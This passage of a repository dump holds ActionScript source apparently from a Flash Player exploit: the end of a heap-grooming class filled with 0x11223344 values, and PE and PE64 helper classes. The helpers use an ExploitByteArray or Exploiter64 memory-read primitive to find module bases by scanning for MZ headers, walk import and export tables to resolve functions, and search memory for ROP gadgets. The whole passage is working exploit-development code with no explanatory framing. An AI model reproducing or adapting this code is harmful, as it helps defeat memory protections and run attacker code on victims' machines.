a893:uint, a894:uint, a895:uint, a896:uint, a897:uint, a898:uint, a899:uint 105 | 106 | 107 | // constructor 108 | function MyClass2(id:int) 109 | { 110 | o1 = this; 111 | a0 = id; 112 | for(var i:int=1; i < 64; i++) this["a"+i] = 0x11223344; 113 | } 114 | } 115 | } -------------------------------------------------------------------------------- /src/PE.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | public class PE 4 | { 5 | private var eba:ExploitByteArray 6 | 7 | public function PE(ba:ExploitByteArray) 8 | { 9 | eba = ba 10 | } 11 | 12 | public function base(addr:uint):uint 13 | { 14 | addr &= 0xffff0000 15 | while (true) { 16 | if (eba.read(addr) == 0x00905a4d) return addr 17 | addr -= 0x10000 18 | } 19 | return 0 20 | } 21 | 22 | public function module(name:String, addr:uint):uint 23 | { 24 | var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 25 | var mod_name:String 26 | 27 | while (true) { 28 | var entry:uint = eba.read(iat + (++i) * 0x14 + 12) 29 | if (!entry) throw new Error("FAIL!"); 30 | mod_name = eba.read_string(addr + entry, name.length) 31 | if (mod_name.toUpperCase() == name.toUpperCase()) break 32 | } 33 | return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) 34 | } 35 | 36 | public function procedure(name:String, addr:uint):uint 37 | { 38 | var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) 39 | var numberOfNames:uint = eba.read(eat + 0x18) 40 | var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) 41 | var addressOfNames:uint = addr + eba.read(eat + 0x20) 42 | var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) 43 | var proc_name:String 44 | 45 | for (var i:uint = 0; ; i++) { 46 | var entry:uint = eba.read(addressOfNames + i * 4) 47 | proc_name = eba.read_string(addr + entry, name.length + 2) 48 | if (proc_name.toUpperCase() == name.toUpperCase()) break 49 | } 50 | return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) 51 | } 52 | 53 | public function gadget(gadget:String, hint:uint, addr:uint):uint 54 | { 55 | var find:uint = 0 56 | var contents:uint = 0 57 | var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) 58 | var value:uint = parseInt(gadget, 16) 59 | 60 | for (var i:uint = 0; i < limit - 4; i++) { 61 | contents = eba.read(addr + i) 62 | if (hint == 0xffffffff && value == contents) { 63 | return addr + i 64 | } 65 | if (hint != 0xffffffff && value == (contents & hint)) { 66 | return addr + i 67 | } 68 | } 69 | throw new Error() 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /src/PE64.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | public class PE64 4 | { 5 | private var eba:Exploiter64 6 | 7 | public function PE64(ba:Exploiter64) 8 | { 9 | eba = ba 10 | } 11 | 12 | public function base(addr:Address64):Address64 13 | { 14 | var partial:Address64 = new Address64(addr.lo & 0xffff0000, addr.hi) 15 | while (true) { 16 | if (eba.ba_read(partial) == 0x00905a4d) return partial 17 | partial = partial.offset(-0x1000) 18 | } 19 | 20 | throw new Error() 21 | } 22 | 23 | public function module(name:String, addr:Address64):Address64 24 | { 25 | var i:uint = 0 26 | var nt_hdr_offset:uint = eba.ba_read(addr.offset(0x3c)) 27 | var pe:Address64 = addr.offset(nt_hdr_offset) 28 | var iat_dir:Address64 = pe.offset(0x90) 29 | var iat:Address64 = new Address64(addr.lo + eba.ba_read(iat_dir), addr.hi) 30 | var iat_length:uint = eba.ba_read(iat_dir.offset(4)) 31 | var mod_name:String 32 | var iat_entry:Address64 33 | var iat_name:Address64 34 | var iat_fnc:Address64 35 | while (i < iat_length) { 36 | iat_entry = iat.offset(i * 0x14) 37 | iat_name = new Address64(eba.ba_read(iat_entry.offset(0xc)) + addr.lo, addr.hi) 38 | iat_fnc = new Address64(eba.ba_read(iat_entry.offset(0x10)) + addr.lo, addr.hi) 39 | mod_name = eba.read_string(iat_name, name.length) 40 | if (mod_name.toUpperCase() == name.toUpperCase()) { 41 | return base(eba.ba_read_addr(iat_fnc)) 42 | } 43 | i = i + 1 44 | } 45 | 46 | throw new Error('FAIL!') 47 | } 48 | 49 | public function procedure(name:String, addr:Address64):Address64 50 | { 51 | var nt_hdr_offset:uint = eba.ba_read(addr.offset(0x3c)) 52 | var pe:Address64 = addr.offset(nt_hdr_offset) 53 | var eat_dir:Address64 = pe.offset(0x88) 54 | var eat:Address64 = new Address64(addr.lo + eba.ba_read(eat_dir), addr.hi) 55 | var eat_length:uint = eba.ba_read(eat_dir.offset(4)) 56 | var numberOfNames:uint = eba.ba_read(eat.offset(0x18)) 57 | var addressOfFunctions:Address64 = new Address64(eba.ba_read(eat.offset(0x1c)) + addr.lo, addr.hi) 58 | var addressOfNames:Address64 = new Address64(eba.ba_read(eat.offset(0x20)) + addr.lo, addr.hi) 59 | var addressOfNameOrdinals:Address64 = new Address64(eba.ba_read(eat.offset(0x24)) + addr.lo, addr.hi) 60 | var proc_name:String 61 | var entry:Address64 62 | var i:uint = 0 63 | 64 | while (i < numberOfNames) { 65 | entry = new Address64(addr.lo + eba.ba_read(addressOfNames.offset(i * 4)), addr.hi) 66 | proc_name = eba.read_string(entry, name.length) 67 | if (proc_name.toUpperCase() == name.toUpperCase()) { 68 | var function_offset:uint = eba.ba_read_word(addressOfNameOrdinals.offset(i * 2)) * 4 69 | var address_of_function:Address64 = new Address64(addr.lo + eba.ba_read(addressOfFunctions.offset(function_offset)), addr.hi) 70 | return address_of_function 71 | } 72 | 73 | i = i + 1 74 | } 75 | 76 | throw new Error('FAIL!') 77 | } 78 | } 79 | } 80 | --------------------------------------------------------------------------------